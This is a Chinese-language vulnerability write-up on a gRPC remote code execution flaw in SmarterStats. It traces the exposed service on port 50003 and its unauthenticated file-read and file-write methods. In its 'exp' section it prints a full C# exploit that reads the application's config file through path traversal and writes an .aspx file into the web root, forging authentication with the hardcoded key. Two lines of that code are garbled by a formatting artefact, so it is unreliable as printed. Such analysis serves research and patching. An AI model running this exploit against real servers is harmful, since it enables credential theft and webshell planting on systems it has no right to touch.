SmarterStats 基于gRPC的RCE

警告
本文最后更新于 2022-06-29,文中内容可能已过时。

老外又发洞了

# 环境

2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe

安装可以看官方的文档 https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx

# 分析

SSSvc.exe运行在50003端口上,默认监听0.0.0.0

image.png

拉到dnspy中看一下

image.png

main函数启动了一个SSCollect服务类。

image.png

服务类调用了ServiceWorker.StartService()

image.png

新起了一个线程运行ServiceLifetimeFunction函数

image.png

这里调了ServiceWorker.Start()

image.png

start中调用GrpcManager.StartGrpc()开启监听gRPC。

继续看gRPC,在StartGrpc中,定义了四个服务

image.png

分别对应

  1. Query -> QueryServiceImplementation
  2. SiteList -> SiteListServiceImplementation
  3. ServiceOperations -> ServiceOperationsServiceImplementation
  4. SiteControl -> SiteControlServiceImplementation

并且端口绑定在0.0.0.0:50003上

随便点开一个服务实现来看 QueryServiceImplementation

image.png

ServiceOperationsServiceImplementation

image.png

能看到grpc的远程调用函数实现。

先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example项目

Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)的Query类中,给了我们rpc client的工具类

image.png

直接把这个dll加入到引用中,然后代码如下。

image.png

这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)

那么接下来就是简单的寻找漏洞点了。

SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext) 任意文件读取

这里需要关闭dnspy的编译优化才能看到具体逻辑

image.png

image.png

image.png

SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)

任意文件写入

image.png

有个加密key硬编码,等于没用。

image.png

# exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
using Grpc.Core;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SmarterStats.Config.Protos;
using Google.Protobuf.WellKnownTypes;
using SmarterStats.Config.Utility;
using System.IO;
using Google.Protobuf;

namespace Routeguide
{
    class Program
    {
        static async Task<int> Main(string[] args)
        {
            var channel = new Channel("172.16.16.132:50003", ChannelCredentials.Insecure);
            ServiceOperations.ServiceOperationsClient client = new ServiceOperations.ServiceOperationsClient(channel);
            GetExportedLogsForSiteRequest request = new GetExportedLogsForSiteRequest();
            request.FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml";
            AsyncServerStreamingCall<GetExportedLogsForSiteResponse> asyncServerStreamingCall = client.GetExportedLogsForSite(request);
            while (await asyncServerStreamingCall.ResponseStream.MoveNext())
            {
                Console.WriteLine(asyncServerStreamingCall.ResponseStream.Current.Data.ToStringUtf8());
            }

            SaveFileToRequest saveFileToRequest = new SaveFileToRequest();
            saveFileToRequest.Filename = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx";
            CryptographyHelper cryptographyHelper = new CryptographyHelper(0);
            Timestamp timestamp = Timestamp.FromDateTime(DateTime.UtcNow);
            saveFileToRequest.Creationsubtitle: ""
date: timestamp;
            saveFileToRequest.LastWritesubtitle: ""
date: timestamp;
            cryptographyHelper.SetKey(saveFileToRequest.CreationDate.ToDateTime().ToString("MMddyyyy") + " ksghsfkgjh", null);
            string auth = cryptographyHelper.EncodeToBase64(saveFileToRequest.Filename);
            saveFileToRequest.Auth = auth;
            saveFileToRequest.FileData = ByteString.CopyFromUtf8(File.ReadAllText(@"1.txt"));
            client.SaveFileTo(saveFileToRequest);
            Console.WriteLine("write done.");
            Console.ReadKey();
            return 0;
        }
    }
}

# 修复

GetExportedLogsForSite文件读取截取了文件名并且加了鉴权

image.png

SaveFileTo 文件写入限制了后缀白名单并且正则限制了路径

image.png

# 思考

SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?涉及到rpc,存不存在反序列化问题呢?

wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了之后再说吧。

image.png

# 参考

  1. https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。